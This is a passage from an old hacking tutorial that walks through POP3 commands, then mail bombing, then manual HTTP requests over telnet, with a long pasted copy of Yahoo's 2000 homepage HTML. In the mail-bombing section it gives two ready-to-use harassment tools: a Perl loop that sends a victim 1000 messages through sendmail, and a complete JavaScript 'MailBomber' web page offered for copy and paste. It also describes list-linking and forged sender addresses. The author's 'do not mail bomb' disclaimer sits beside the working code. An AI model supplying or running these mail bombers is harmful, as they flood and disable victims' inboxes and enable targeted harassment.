  2562. are used to delete or read a particular email.They act as what filenames act 
  2563. to
  2564. files.Now to read a particular messge type the 'retr' command followed by 
  2565. the
  2566. email number.
  2567. For Example to view the email whose number is 1, I type:
  2568.  
  2569. retr 1
  2570.  
  2571. This is show the entire email with full headers.Make sure you log that
  2572. particular session before you try to view messages this way as messages 
  2573. scroll
  2574. past at a very high speed.
  2575.  
  2576. Similiarly the 'dele' command followed by the message number can be used to
  2577. delete a pasticular message.For example, the first email can be deleted by
  2578. giving the command:
  2579.  
  2580. dele 1
  2581.  
  2582. The server responds:
  2583.  
  2584. +OK Message 1 has been deleted.
  2585.  
  2586. There is yet another not so well known command, the 'stat' command which 
  2587. gives
  2588. the number of new messages and the size of the new messages.
  2589. For example,
  2590. I type stat:
  2591.  
  2592. Stat
  2593.  
  2594. The server responds:
  2595.  
  2596. +OK 22 135981
  2597. Indicating that I have 22 new messages whose total size is 135981
  2598.  
  2599. Once you are done with everything type the 'quit' command to end the 
  2600. session.
  2601. The server responds:
  2602. +OK Pop server at delhi1.mtnl.net.in signing off.
  2603.  
  2604. MailBombing
  2605.  
  2606. Mailbombing means to send a huge number of emails (maybe hundres, thousands 
  2607. or
  2608. even millions)to a single email account so that the maximum space of the 
  2609. account
  2610. is filled up and the owner of the account cannot receive any other important
  2611. emails and it becomes difficult for the user to read existing emails due to
  2612. gigantic number of emails.
  2613.  
  2614. All email accounts have a maximum space limit, for example Yahoo has a space
  2615. limit of 3 MB. Now if this maximum space is filled up then no new messages 
  2616. can
  2617. come and the mail server sends back any new messages that come, one the 
  2618. maximum
  2619. allowed capacity is filled.(Some services allow the users to exceed the 
  2620. assigned
  2621. limit.)So if the victim who has been mail bombed is excepting any new 
  2622. important
  2623. messages then he can pretty much kiss them goodbye.Not only that, his Inox 
  2624. is
  2625. filled with so many new useless messages, he cannot even read the existing
  2626. messages and deleting all the useless messages takes up a lot of valuable 
  2627. time.
  2628.  
  2629. MailBombing is a very irritating and a lame thing to do.It is the malest 
  2630. thing a
  2631. hacker could possibly do but I am just putting forward all info that I can.
  2632. Do not mail bomb someone, I certainly do not recommend it.
  2633.  
  2634. There are 2 types of mailbombing-:
  2635.  
  2636. 1. Mass Mail Bombing
  2637. 2. List Linking
  2638.  
  2639. The Mass Mail Bombing Method
  2640.  
  2641. In this kind of mail bombing the victim's Inbox is flooded with a huge 
  2642. number of
  2643. the same emails. There are mail bombing software which allow you to send a
  2644. particualar message as many times as you want using a SMTP server.Some mail
  2645. bombing software also allows you to send a particular message perpetually.A 
  2646. mail
  2647. bombing software can easily be made in Perl.The following is a script that I
  2648. picked up somewhere on the net(It runs only on Unix platforms):
  2649.  
  2650. #!/bin/perl
  2651. $mprogram= '/usr/lib/sendmail';
  2652. $victim= 'victim@hostname.com';
  2653. $var=0;
  2654. while($var < 1000) {
  2655. open(MAIL, "|$mprogram $victim") || die "Can't open Mail Program\n";
  2656. print MAIL "Mail Bomb";
  2657. close(MAIL);
  2658. sleep(4);
  2659. $var++;
  2660. }
  2661.  
  2662. This Perl script will send 1000 mails to the victim.It can easily be 
  2663. modified to
  2664. send 100000 messages instead of only 1000.
  2665.  
  2666. Such kind of mail bombing has one shortcoming, say you sent the victim 1000
  2667. messages, but once the victim has deleted them, that's it, that's the end of 
  2668. the
  2669. whole idea of mail boming the victim.This is where List Linking comes in as 
  2670. it
  2671. is more effective in harassing the victim.
  2672.  
  2673. List Linking
  2674.  
  2675. In this kind of mail bombing the victim is subscribed to thousands of 
  2676. mailing
  2677. list whose subjects range from Beetle lovers to people interested in seeing
  2678. earthworms eat things.This kind of mail boming is more effective as the 
  2679. victim
  2680. has to find out ways of unsubscribing himself from this long list of boring
  2681. mailing lists.Believe me, many people have problems unsubscribing from 
  2682. mailing
  2683. lists.
  2684.  
  2685. The most common method used by people to mail bomb someone, is to use Mail
  2686. Bombing Software.Mail Bombing software asks for the victim's email address, 
  2687. the
  2688. address of a SMTP server, the forged email address from which you want the 
  2689. mail
  2690. bombs to appear to have come and the number of emails that have to be sent 
  2691. and
  2692. of course the body of the mail bomb.Mail Bombing is as easy as a few clicks 
  2693. and
  2694. it is really common amonngst lamers with a huge ego.
  2695.  
  2696. Now let's see what you do when you are mail bombed.You open your Inbox and 
  2697. find
  2698. that you have 20000 new messages with the same subject "You suck!!!". So you 
  2699. are
  2700. sure that, that lamer that hates you so much has proved his lameness(is that 
  2701. a
  2702. word?) by mail bombing you. No..you do not start downloading all the 20000
  2703. messages and then delete them, instead you log on to the POP port of your 
  2704. mail
  2705. server and delete the useless mails by issuing POP commands.If you are able 
  2706. to read the headers well enough then you can easilt trace the mail bomber 
  2707. and kick him off his ISP by complaining to tech support.
  2708.  
  2709. Mail Bombers are very simple to design.Having knowledge of C or Perl can 
  2710. make things really really easy.I designed a Simple Mail Bomber in 
  2711. JavaScript.Although not too efficient, it gives you an idea, how easy it is 
  2712. to make a Mail Bomber.
  2713.  
  2714. It also allows you to specify the number of bombs.The only shortcoming is 
  2715. that the victim will easily know who sent the mail bombs as this JavaScript 
  2716. Bomber does not forge email, instead it uses the user's normal read email 
  2717. address to bomb the victim.To understand the code you need to know HTML and 
  2718. JavaScript.
  2719. Simply copy and paste the following code into Notepad and save it as .htm or 
  2720. .html file.
  2721.  
  2722. ############CUT HERE###########
  2723. <HTML>
  2724. <HEAD>
  2725.    <TITLE>Ankit's MailBomber</TITLE>
  2726. <script language="JavaScript">
  2727. <!--
  2728. function checkAGE(){if (confirm
  2729. ("This Mail Bomber Belongs to Ankit Fadia----ankit@bol.net.in"));return " "}
  2730. document.writeln(checkAGE())---->
  2731. </Script>
  2732. </HEAD>
  2733. <BODY  ulink="white"  vlink="white" alink="white" BGCOLOR="#000000" 
  2734. TEXT="#FFFFFF" ONLOAD="ResetForm()" BODY>
  2735. <P><SCRIPT LANGUAGE="JavaScript"><!-- JavaScript MailBomber
  2736.   var mail123 = 10000
  2737.  
  2738.   function MailBombing(iInterval)
  2739.   {
  2740.     document.Bomber.submit();
  2741.     if (document.SetupMailData.NumberOfBombs.value-- > 0)
  2742.       {
  2743.         window.setTimeout('MailBombing()',mail123);
  2744.       }
  2745.     else
  2746.       alert("MailBombing...");
  2747.   }
  2748.   function VerifyNumber(iNumber)
  2749.   { var i;
  2750.     var ch = "";
  2751.     for (i=0;i<iNumber.length;i++)
  2752.       {
  2753.         ch = iNumber.substring(i,i+1)
  2754.         if (ch < "0" || ch > "9")
  2755.           return false;
  2756.       }
  2757.     return true;
  2758.  
  2759.   }
  2760.   function MailBomb()
  2761.   {
  2762.     var szMsg;
  2763.       if (document.SetupMailData.UserToBomb.value == "")
  2764.       {
  2765.         alert("Please enter a valid email address to mailbomb.");
  2766.         document.SetupMailData.UserToBomb.focus;
  2767.         return;
  2768.       }
  2769.     if (VerifyNumber(document.SetupMailData.NumberOfBombs.value)==false)
  2770.       {
  2771.         alert("Invalid Number of Bombs");
  2772.         document.SetupMailData.NumberOfBombs.focus;
  2773.         return;
  2774.       }
  2775.     if (document.SetupMailData.Subject.value == "")
  2776.       {
  2777.         alert("Please Enter a subject for:"
  2778. +document.SetupMailData.UserToBomb.value);
  2779.         document.SetupMailData.Subject.focus;
  2780.         return;
  2781.       }
  2782.     if (document.Bomber.text.value == "")
  2783.       {
  2784.         alert("Please Enter Message");
  2785.         document.Bomber.text.focus; // set user focus to here
  2786.         return;
  2787.       }
  2788.     szMsg = "Mail Bombing: " + document.SetupMailData.UserToBomb.value + 
  2789. "\n";
  2790.     szMsg += "Please Wait while MailBombeing is completed."
  2791.     szMsg += "You will Be Notified when the "
  2792.     szMsg += "MailBombing Completes."
  2793.     alert(szMsg);
  2794.  
  2795.     document.Bomber.action = "mailto:" + 
  2796. document.SetupMailData.UserToBomb.value + "?subject=" +  
  2797. document.SetupMailData.Subject.value;
  2798.     MailBombing(mail123);
  2799.   }
  2800.   function ResetForm()
  2801.   {
  2802.     document.SetupMailData.UserToBomb.value          = "";
  2803.     document.SetupMailData.Subject.value             = "Enter Subject Here";
  2804.     document.SetupMailData.NumberOfBombs.value       = 1000000;
  2805.     document.Bomber.text.value = "Enter Message Here";
  2806.   }
  2807. // End of hiding our code --></SCRIPT></P>
  2808.  
  2809.  
  2810. <CENTER><P>
  2811. </font>
  2812. </b>
  2813. </b>
  2814.  
  2815. <CENTER><P><FORM NAME="SetupMailData">Victim's Email Address:<BR>
  2816. <INPUT TYPE=text NAME="UserToBomb" SIZE=62></P></CENTER>
  2817. <CENTER><P>Number of Email Bombs:<BR>
  2818. <INPUT TYPE=text NAME="NumberOfBombs" VALUE=10000 SIZE=10></P></CENTER>
  2819. <CENTER><P>Subject:<BR>
  2820. <INPUT TYPE=text NAME="Subject" SIZE=62></FORM></P></CENTER>
  2821. <CENTER><P><FORM METHOD=POST NAME="Bomber" ENCTYPE="text/plain">Message:<BR>
  2822. <TEXTAREA ROWS=10 COLS=60 NAME="text"></TEXTAREA></P></CENTER>
  2823. <CENTER><P><INPUT name="btnBombUser" TYPE=button onClick="MailBomb()" 
  2824. value="Mail Bomb User"><BR>
  2825. <BR>
  2826. <BR>
  2827. </FORM><BR>
  2828. Coded By: Ankit Fadia----ankit@bol.net.in <br>
  2829. <a href="http://hackingtruths.tripod.com">
  2830. http://hackingtruths.tripod.com</a>
  2831. For more tutorials send an email to: programmingforhackers-subscribe@egroups.com
  2832. <BR>
  2833. </BODY>
  2834. </HTML>
  2835.  
  2836. ##########CODE ENDS HERE########
  2837.  
  2838. HTTP Torn Apart(Port 80)
  2839.  
  2840. What exactly happens when you type a URL(Uniform Resource Locator) in the 
  2841. location bar of the browser? Well firstly the browser performs a DNS queiry 
  2842. and converts the human readable domain name (like hotmail.com) into a 
  2843. machine readable IP address. Once the browser gets the IP address of the 
  2844. host, it connects to Port 80(The HTTP daemon by default runs on Port 80) of 
  2845. the remote host and asks the host for a particular document or page with the 
  2846. help of HTTP commands. HTTP or HyperText Transfer Protocol is the protocol 
  2847. used by browsers to communicate with hosts i.e. to ask for a particular file 
  2848. at a specific URL or to send or post data to the server.We are never aware 
  2849. of this process which occurs in the background.
  2850.  
  2851. Now in this section we will learn to do manually what the browser does
  2852. automatically.When the browser asks for a file at a specific URL it is said 
  2853. to 'request' for information. Now before we move on, let's see what a 
  2854. typical request
  2855. looks like. A typical HTTP request would be something like the below:
  2856.  
  2857. get url HTTP/1.1
  2858.  
  2859. Let's see what the specific parts of a typical request stands for.The first 
  2860. word i.e. the 'get' part is called the method.There are 3 types of methods-:
  2861.  
  2862. The Get method
  2863.  
  2864. The 'get' method is the most common method which is widely used.It is with 
  2865. the 'get' method that the browsers request for pages or douments.In this 
  2866. kind of method you are the client(browser) and request for a page from the 
  2867. server which is the host you are connected to.
  2868.  
  2869. The Post Method
  2870.  
  2871. The 'post' method is used to upload files to the server.This kind of method 
  2872. is used say when you upload your website by using not the FTP service but by 
  2873. straightaway uploading files through a HTML page.In this method there is a 
  2874. reversal of roles and now you become the server and the host you are 
  2875. connected to becomes the client.
  2876.  
  2877. The Head Method
  2878.  
  2879. The 'head' method is the least popular method and not many people know about 
  2880. it.Although not widely used, it is still a part of HTTP methods. You would 
  2881. use the 'head' method say when you want to make sure that a particualar file 
  2882. exists at a particular URL without downloading the entire file.This method 
  2883. just downloads the header info of a particular file and not the entire file.
  2884.  
  2885. All this might seem a bit weird, but I suggest that you just understand the 
  2886. basic difference between the various methods and then move on.
  2887.  
  2888. Anyway coming back to the various parts of a HTTP request.The first part as 
  2889. you now know is the method, now the second part is the URL that you are 
  2890. requesting.Say for example I want to request the contacts.htm file then the 
  2891. HTTP request would look something like:
  2892.  
  2893. get /contacts.htm  HTTP/1.1
  2894.  
  2895. Now you may ask where the first '/' has come from. Now to understand that 
  2896. you need to look at the URL that you type into the Location bar of the 
  2897. browser.Say for example, the HTML file that you are requesting is
  2898. http://www.microsoft.com/windows.htm then the URL would be what is left 
  2899. after removing the http:// and the domain name i.e. www.microsoft.com. Hence 
  2900. the URL is /windows.htm
  2901.  
  2902. Now what will the URL be if you want to request for Yahoo homepage? Normally 
  2903. you write http://www.yahoo.com in the location bar to access Yahoo's 
  2904. homepage. Now if we remove the http:// and also the domain 
  2905. name(www.yahoo.com) then what is left?
  2906. Nothing. This means the URL of the HTTP request is '/'. Hence the HTTP 
  2907. request now looks like.
  2908.  
  2909. get / HTTP/1.1
  2910.  
  2911. The third part of the HTTP request is pretty self explanatory.The HTTP/1.1 
  2912. specifies the version of the HTTP service used by the browser.So say if a 
  2913. server is running HTTP/1.1 and a browser which is running HTTP/1.0 requests 
  2914. a page then the server will send the page in terms of HTTP/1.0 only removing 
  2915. the enhancements of HTTP/1.1
  2916.  
  2917. So now that you know what a normal HTTP request sent by your browser looks, 
  2918. let's find out how we can do this manually.This too requires Telnet.Now you 
  2919. know how important the Telnet client is in a Hacker's armoury.So launch your 
  2920. Telnet client and connect to Port 80(As the HTTP daemon runs on Port 80) of 
  2921. any host.If the host you are trying to connect to does not have a website 
  2922. i.e does not have Port 80 open, then you would get a Error Message.If the 
  2923. connection is successful then the Title bar of your Telnet client will show 
  2924. the host address you are connected to and it will be ready for user input.
  2925.  
  2926. The HTTP daemon is not as boring as it seems to be till now.Infact it is 
  2927. very very interesting.Once telnet is ready for input just type h (or any 
  2928. other letter) and hit enter twice.
  2929.  
  2930. ***********
  2931. Hacking Truth: After each HTTP command one has to press Enter Twice to send 
  2932. the command to the server or to bring about a response from a server.It is 
  2933. just how the HTTP protocol works.
  2934. **********
  2935.  
  2936. Now as 'h' or any other command that you typed is not a valid HTTP command, 
  2937. the server will give you an error message, something like the below:
  2938.  
  2939. HTTP/1.1 400 Bad Request
  2940. Server: Netscape-Enterprise/3.5.1
  2941.  
  2942. The server replies with the version of HTTP it is running(not so important), 
  2943. it gives us an error message and the error code associated with it(again not 
  2944. so important), but it also gives us the OS name and OS version, it is 
  2945. running.Wow!!! It gives hackers who want to break into their server the 
  2946. ultimate piece of information which they require.
  2947.  
  2948. Anyway now let's see what happens when we give a normal authentic request 
  2949. requesting for the main page of Yahoo.So after I telnet to Port 80 of 
  2950. www.yahoo.com I give the command:
  2951.  
  2952. get / http/1.1
  2953.  
  2954. (requesting for the Yahoo Homepage)
  2955.  
  2956. HTTP/1.0 200 OK
  2957. Content-Length: 12085
  2958. Content-Type: text/html
  2959.  
  2960. (No OS name,interesting, well Yahoo being a Top Web Company has configured 
  2961. their server to not display the OS name and Version when an HTTP request is 
  2962. encountered.)
  2963.  
  2964. <html><head><title>Yahoo!</title><base href=http://www.yahoo.com/><meta 
  2965. http-
  2966. equiv="PICS-Label" content='(PICS-1.1 "http://www.rsac.org/ratingsv01.html" 
  2967. l
  2968. gen true for "http://www.yahoo.com" r (n 0 s 0 v 0 l
  2969. 0))'></head><body><center><form 
  2970. action=http://search.yahoo.com/bin/search><map
  2971. name=m><area coords="72,0,130,58" href=r/wn><area coords="131,0,189,58"
  2972. href=http://mail.yahoo.com><area coords="414,0,472,58" href=r/i1><area
  2973. coords="473,0,531,58" href=r/hw></map><img width=600 height=59 border=0
  2974. usemap="#m" src=http://a1.g.a.yimg.com/7/1/31/000/us.yimg.com/i/main4s3.gif
  2975. alt=Yahoo><br><table border=0 cellspacing=0 cellpadding=4 width=600><tr><td
  2976. align=center width=160>
  2977. <a href="/homet/?http://auctions.yahoo.com"><b>Yahoo!
  2978. Auctions</b></a><br><small><a
  2979. href="/homet/?http://list.auctions.yahoo.com/27813-category.html">Pokemon</a>,
  2980. <a href="/homet/?http://list.auctions.yahoo.com/26360-category-
  2981. leaf.html">cars</a>, <a href="/homet/?http://list.auctions.yahoo.com/40291-
  2982. category-leaf.html">'N Sync</a></small></td><td align=center><a
  2983. href="http://rd.yahoo.com/M=26036.208672.1462854.389576/S=2716149:NP/A=167764/?h
  2984. ttp://messenger.yahoo.com/" target="_top"><img width=230 height=33
  2985. src="http://a32.g.a.yimg.com/7/32/31/000/us.yimg.com/a/ya/yahoopager/messenger/m
  2986. essengermail.gif" alt="Yahoo! Messenger" border=0></a></td><td align=center
  2987. width=160><a href="/homet/?http://mail.yahoo.com"><b>Yahoo! 
  2988. Mail</b></a><br>free
  2989. email for life</td></tr><tr><td colspan=3 align=center><input size=30 
  2990. name=p>
  2991. <input type=submit value=Search> <a href=r/so>advanced
  2992. search</a></td></tr></table><table border=0 cellspacing=0 cellpadding=4
  2993. width=600><tr><td nowrap align=center><small><a href=r/sh>Shopping</a> -
  2994. <a href=r/os><b>Auctions</b></a> -
  2995. <a href=r/yp>Yellow Pages</a> -
  2996. <a href=r/ps>People Search</a> -
  2997. <a href=r/mp>Maps</a> -
  2998. <a href=r/ta>Travel</a> -
  2999. <a href=r/cf>Classifieds</a> -
  3000. <a href=r/pr>Personals</a> -
  3001. <a href=r/pl>Games</a> -
  3002. <a href=r/yc>Chat</a> -
  3003. <a href=r/ub><b>Clubs</b></a><br><a href=http://mail.yahoo.com>Mail</a> -
  3004. <a href=r/ca>Calendar</a> -
  3005. <a href=r/pg>Messenger</a> -
  3006. <a href=r/cm><b>Companion</b></a> -
  3007. <a href=r/i2>My Yahoo!</a> -
  3008. <a href=r/dn>News</a> -
  3009. <a href=r/ys>Sports</a> -
  3010. <a href=r/wt>Weather</a> -
  3011. <a href=r/tg>TV</a> -
  3012. <a href=r/sq>Stock Quotes</a> -
  3013. <a href=r/xy>more...</a></small></td></tr><tr><td></td></tr></table><table
  3014. border=0 cellspacing=0 width=600><tr><td bgcolor=339933><table border=0
  3015. cellspacing=0 cellpadding=0><tr><td
  3016. height=2></td></tr></table></td></tr></table><table border=0 cellspacing=7
  3017. cellpadding=2><tr><td valign=top align=center>
  3018.  
  3019. <table cellspacing=0 cellpadding=3 border=0 width="100%"><tr><td 
  3020. align=center
  3021. bgcolor=99cc99><font face=arial><a href=r/s/1><b>Yahoo!
  3022. Shopping</b></a></font><small> - Thousands of stores.
  3023. Millions of products.</small><table cellspacing=0 cellpadding=2 border=0
  3024. width="100%"><tr><td align=center bgcolor=ffffff><table cellspacing=0 
  3025. border=0
  3026. width="100%"><tr><td colspan=2><font face=arial
  3027. size=2><b>Departments</b></font></td><td><font face=arial
  3028. size=2><b>Stores</b></font></td><td><font face=arial
  3029. size=2><b>Products</b></font></td></tr><tr><td valign=top
  3030. width="22%"><small>·
  3031. <a href=r/s/2>Apparel</a><br>·
  3032. <a href=r/s/3>Bath/Beauty</a><br>·
  3033. <a href=r/s/4>Computers</a><br>·
  3034. <a href=r/s/5>Electronics</a></small></td><td valign=top
  3035. width="22%"><small>·
  3036. <a href=r/s/10>Flowers</a><br>·
  3037. <a href=r/s/11>Sports</a><br>·
  3038. <a href=r/s/7>Music</a><br>·
  3039. <a href=r/s/9>Video/DVD</a></small></td><td valign=top width="31%"><small>
  3040. · <a href=r/s/eb>Eddie Bauer</a><br>
  3041. · <a href=r/s/ash>Ashford</a><br>
  3042. · <a href=r/s/toys>Toys R Us</a><br>
  3043. · <a href=r/s/nord>Nordstrom</a><br>
  3044. </small></td><td valign=top width="25%"><small>
  3045. · <a href=r/s/nsync>'N Sync</a><br>
  3046. · <a href=r/s/cam>Digital cameras</a><br>
  3047. · <a href=r/s/poke>Pokemon</a><br>
  3048. · <a href=r/s/mp3>MP3 players</a><br>
  3049. </small></td></tr></table></td></tr></table></td></tr></table>
  3050.  
  3051. <table border=0 cellspacing=0 cellpadding=4><tr><td valign=top
  3052. nowrap><small><font size=3 face=arial><a href=r/ar><b>Arts &
  3053. Humanities</b></a></font><br><a href=r/li>Literature</a>,
  3054. <a href=r/ph>Photography</a>...<br><br><font size=3 face=arial><a
  3055. href=r/bu><b>Business & Economy</b></a></font><br><a 
  3056. href=r/co>Companies</a>,
  3057. <a href=r/fi>Finance</a>,
  3058. <a href=r/jo>Jobs</a>...<br><br><font size=3 face=arial><a
  3059. href=r/ci><b>Computers & Internet</b></a></font><br><a 
  3060. href=r/in>Internet</a>,
  3061. <a href=r/ww>WWW</a>,
  3062. <a href=r/sf>Software</a>,
  3063. <a href=r/ga>Games</a>...<br><br><font size=3 face=arial><a
  3064. href=r/ed><b>Education</b></a></font><br><a href=r/un>College and
  3065. University</a>,
  3066. <a href=r/k2>K-12</a>...<br><br><font size=3 face=arial><a
  3067. href=r/en><b>Entertainment</b></a></font><br><a href=r/cl>Cool Links</a>,
  3068. <a href=r/mo>Movies</a>,
  3069. <a href=r/hu>Humor</a>,
  3070. <a href=r/mu>Music</a>...<br><br><font size=3 face=arial><a
  3071. href=r/go><b>Government</b></a></font><br><a href=r/el>Elections</a>,
  3072. <a href=r/mi>Military</a>,
  3073. <a href=r/la>Law</a>,
  3074. <a href=r/tx>Taxes</a>...<br><br><font size=3 face=arial><a
  3075. href=r/he><b>Health</b></a></font><br><a href=r/md>Medicine</a>,
  3076. <a href=r/ds>Diseases</a>,
  3077. <a href=r/dg>Drugs</a>,
  3078. <a href=r/ft>Fitness</a>...</small></td><td valign=top nowrap><small><font
  3079. size=3 face=arial><a href=r/nm><b>News & Media</b></a></font><br><a
  3080. href=r/fc>Full Coverage</a>,
  3081. <a href=r/nw>Newspapers</a>,
  3082. <a href=r/tv>TV</a>...<br><br><font size=3 face=arial><a 
  3083. href=r/rs><b>Recreation
  3084. & Sports</b></a></font><br><a href=r/sp>Sports</a>,
  3085. <a href=r/tr>Travel</a>,
  3086. <a href=r/au>Autos</a>,
  3087. <a href=r/od>Outdoors</a>...<br><br><font size=3 face=arial><a
  3088. href=r/rf><b>Reference</b></a></font><br><a href=r/lb>Libraries</a>,
  3089. <a href=r/dc>Dictionaries</a>,
  3090. <a href=r/qt>Quotations</a>...<br><br><font size=3 face=arial><a
  3091. href=r/re><b>Regional</b></a></font><br><a href=r/ct>Countries</a>,
  3092. <a href=r/rg>Regions</a>,
  3093. <a href=r/us>US States</a>...<br><br><font size=3 face=arial><a
  3094. href=r/sc><b>Science</b></a></font><br><a href=r/am>Animals</a>,
  3095. <a href=r/as>Astronomy</a>,
  3096. <a href=r/eg>Engineering</a>...<br><br><font size=3 face=arial><a
  3097. href=r/ss><b>Social Science</b></a></font><br><a href=r/ac>Archaeology</a>,
  3098. <a href=r/ec>Economics</a>,
  3099. <a href=r/lg>Languages</a>...<br><br><font size=3 face=arial><a
  3100. href=r/cu><b>Society & Culture</b></a></font><br><a href=r/pe>People</a>,
  3101. <a href=r/ev>Environment</a>,
  3102. <a href=r/rl>Religion</a>...</small></td></tr></table></td>
  3103. <td align=right valign=top bgcolor=dcdcdc width=155><table border=0
  3104. cellspacing=1 width="100%"><tr><td align=center bgcolor=ffffcc nowrap
  3105. colspan=2><table border=0 cellspacing=0 cellpadding=0 width=120><tr><td
  3106. align=center><font face=arial size=2><b>In the
  3107. News</b></font></td></tr></table></td></tr><tr><td
  3108. valign=top><b>·</b></td><td><small><a
  3109. href="/homer/?http://fullcoverage.yahoo.com/fc/world/Elian_Gonzalez/">Reno 
  3110. says
  3111. Elian to be returned to father</a></small></td></tr><tr><td
  3112. valign=top><b>·</b></td><td><small><a
  3113. href="/homer/?http://fullcoverage.yahoo.com/Full_Coverage/World/Zimbabwe/">Zimba
  3114. bwe land seizures continue</a></small></td></tr><tr><td
  3115. valign=top><b>·</b></td><td><small><a
  3116. href="/homer/?http://sports.yahoo.com/pga/">The Masters</a>, <a
  3117. href="/homer/?http://sports.yahoo.com/mlb/">MLB</a>, <a
  3118. href="/homer/?http://sports.yahoo.com/nba/">NBA</a></small></td></tr><tr><td
  3119. align=right colspan=2><a 
  3120. href=r/xn><small>more...</small></a></td></tr><tr><td
  3121. align=center bgcolor=ffffcc colspan=2><font face=arial
  3122. size=2><b>Marketplace</b></font></td></tr><tr><td
  3123. valign=top><b>·</b></td><td><small><a
  3124. href="/homer/?http://taxes.yahoo.com/">Y! Tax Center</a> - tax guide, online
  3125. filing, and more</small></td></tr><tr><td
  3126. valign=top><b>·</b></td><td><small><a 
  3127. href=/homer/?http://b2b.yahoo.com>Y!
  3128. Business Marketplace</a> - products for all 
  3129. industries</small></td></tr><tr><td
  3130. valign=top><b>·</b></td><td><small>Free <a
  3131. href="/homer/?http://www.bluelight.com/isp.html">56K Internet
  3132. Access</a></small></td></tr><tr><td 
  3133. valign=top><b>·</b></td><td><small><a
  3134. href="/homer/?http://bills.yahoo.com/">Yahoo! Bill Pay</a> - free 3-month 
  3135. trial
  3136. </small></td></tr><tr><td align=right colspan=2><a
  3137. href=r/xm><small>more...</small></a></td></tr><tr><td align=center
  3138. bgcolor=ffffcc colspan=2><font face=arial size=2><b>Inside
  3139. Yahoo!</b></font></td></tr><tr><td 
  3140. valign=top><b>·</b></td><td><small><a
  3141. href="/homer/?http://movies.yahoo.com">Y! Movies</a> - showtimes, reviews,
  3142. info</small></td></tr><tr><td valign=top><b>·</b></td><td><small><a
  3143. href="/homer/?http://photos.yahoo.com/">Yahoo! Photos</a> - upload, share, 
  3144. and
  3145. print pictures</small></td></tr><tr><td
  3146. valign=top><b>·</b></td><td><small>Play free <a
  3147. href="/homer/?http://baseball.fantasysports.yahoo.com/baseball/">Fantasy
  3148. Baseball</a></small></td></tr><tr><td 
  3149. valign=top><b>·</b></td><td><small><a
  3150. href="/homer/?http://geocities.yahoo.com/home/">Yahoo! GeoCities</a> - build
  3151. your free home page</small></td></tr><tr><td align=right colspan=2><a
  3152. href=r/xi><small>more...</small></a></td></tr></table></td></tr></table>
  3153. <table border=0 cellspacing=0 width=600><tr><td bgcolor=339933><table 
  3154. border=0
  3155. cellspacing=0 cellpadding=0><tr><td
  3156. height=2></td></tr></table></td></tr></table>
  3157. </form><form action=http://search.local.yahoo.com/zipsearch><table border=0
  3158. cellspacing=4 cellpadding=0><tr><td align=right valign=top
  3159. nowrap><small><b>World Yahoo!s</b></small></td><td></td><td valign=top
  3160. colspan=2><small><i>Europe</i> :
  3161. <a href=r/dk>Denmark</a> -
  3162. <a href=r/fr>France</a> -
  3163. <a href=r/de>Germany</a> -
  3164. <a href=r/it>Italy</a> -
  3165. <a href=r/no>Norway</a> -
  3166. <a href=r/es>Spain</a> -
  3167. <a href=r/se>Sweden</a> -
  3168. <a href=r/uk>UK & Ireland</a><br><i>Pacific Rim</i> :
  3169. <a href=r/ai>Asia</a> -
  3170. <a href=r/an>Australia & NZ</a> -
  3171. <a href=r/cc><b>China</b></a> -
  3172. <a href=r/cn>Chinese</a> -
  3173. <a href=r/hk>HK</a> -
  3174. <a href=r/jp>Japan</a> -
  3175. <a href=r/kr>Korea</a> -
  3176. <a href=r/sg>Singapore</a> -
  3177. <a href=r/tw>Taiwan</a><br><i>Americas</i> :
  3178. <a href=r/ag><b>Argentina</b></a> -
  3179. <a href=r/br>Brazil</a> -
  3180. <a href=r/cd>Canada</a> -
  3181. <a href=r/mx>Mexico</a> -
  3182. <a href=r/ep>Spanish</a></small></td></tr><tr><td align=right
  3183. nowrap><small><b>Yahoo! Get Local</b></small></td><td></td><td 
  3184. nowrap><small><a
  3185. href=r/lo>LA</a> -
  3186. <a href=r/ny>NYC</a> -
  3187. <a href=r/ba>SF Bay</a> -
  3188. <a href=r/ch>Chicago</a> -
  3189. <a href=r/mm>more...</a>   </small></td><td nowrap><small><input
  3190. name=q size=5 maxlength=5> <input type=submit value="Enter Zip
  3191. Code"></small></td></tr><tr><td align=right valign=top
  3192. nowrap><small><b>Other</b></small></td><td></td><td valign=top
  3193. colspan=2><small><a href=r/ya>Autos</a> -
  3194. <a href=r/em>Careers</a> -
  3195. <a href=r/di>Digital</a> -
  3196. <a href=r/ye>Entertainment</a> -
  3197. <a href=r/le><b>Event Guide</b></a> -
  3198. <a href=r/gr>Greetings</a> -
  3199. <a href=r/yh>Health</a> -
  3200. <a href=r/iv><b>Invites</b></a> -
  3201. <a href=r/ne>Net Events</a><br><a href=r/ms>Message Boards</a> -
  3202. <a href=r/mv>Movies</a> -
  3203. <a href=r/rk>Music</a> -
  3204. <a href=r/yr>Real Estate</a> -
  3205. <a href=r/sb>Small Business</a> -
  3206. <a href=r/il>Y! Internet Life</a> -
  3207. <a href=r/yg>Yahooligans!</a></small></td></tr></table></form><table 
  3208. border=0
  3209. cellspacing=0 width=600><tr><td bgcolor=339933><table border=0 cellspacing=0
  3210. cellpadding=0><tr><td height=2></td></tr></table></td></tr></table><table
  3211. border=0 cellspacing=6 cellpadding=0><tr><td align=right><a
  3212. href=r/vs><small>Yahoo! prefers</small></a></td><td><a href=r/vs><img 
  3213. width=37
  3214. height=23 border=0
  3215. src=http://a1.g.a.yimg.com/7/1/31/000/us.yimg.com/a/vi/visa/sm.gif></a></td></tr
  3216. ></table><small><a href=r/ad>How to Suggest a Site</a> -
  3217. <a href=r/cp>Company Info</a> -
  3218. <a href=r/pv>Privacy Policy</a> -
  3219. <a href=r/ts>Terms of Service</a> -
  3220. <a href=r/cb>Contributors</a> -
  3221. <a href=r/hr>Openings at Yahoo!</a><p>Copyright © 2000 Yahoo! Inc. All
  3222. rights reserved.<br><a href=r/cy>Copyright
  3223. Policy</a></small></center></body></html>
  3224.  
  3225.  
  3226. The get method gives the HTML source of the document requested.It seems just 
  3227. as if you are seeing the source by clicking View> Source.
  3228.  
  3229. Similiarly you can see what happens when you issue the 'PUT' and 'Head'
  3230. methods.Just replace 'Get' with the Method that you want to use.For
  3231.  
  3232. Example,
  3233.  
  3234. head / http/1.1 and put/ http/1.1
  3235.  
  3236. ****************
  3237.  
  3238. Hacking Truth: Let's go back to the response that we got from the HTTP 
  3239. daemon once the HTTP Get method was okayed at Yahoo.The first line of the 
  3240. response was:
  3241.  
  3242. HTTP/1.0 200 OK
  3243.  
  3244. Now what does this 200 signify? Well the '200' is called the status
  3245. code.Whenever you give the server a HTTP command, it processes the command 
  3246. and accrodingly displays a status code.A status code is a 3 digit code in 
